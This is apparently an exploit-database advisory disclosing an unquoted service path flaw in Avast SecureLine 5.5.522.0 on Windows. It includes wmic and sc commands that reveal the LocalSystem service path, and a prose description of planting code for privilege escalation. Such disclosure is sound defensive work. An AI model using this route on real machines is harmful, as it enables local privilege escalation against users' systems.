Avast secureline 5.5.522.0 secureline unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-03-25 | Type : local | Platform : windows

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[+] Code ...

# Exploit Title: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-24
# Vendor Homepage:https://www.avast.com/
# Software Link :https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx
# Tested Version: 5.5.522.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 Single Language x32 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | f
indstr /i /v "C:\Windows\\" | findstr /i "Avast SecureLine" | findstr /i /v """
Avast SecureLine
SecureLine C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
Auto

C:\>sc qc SecureLine
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SecureLine
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Avast SecureLine
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.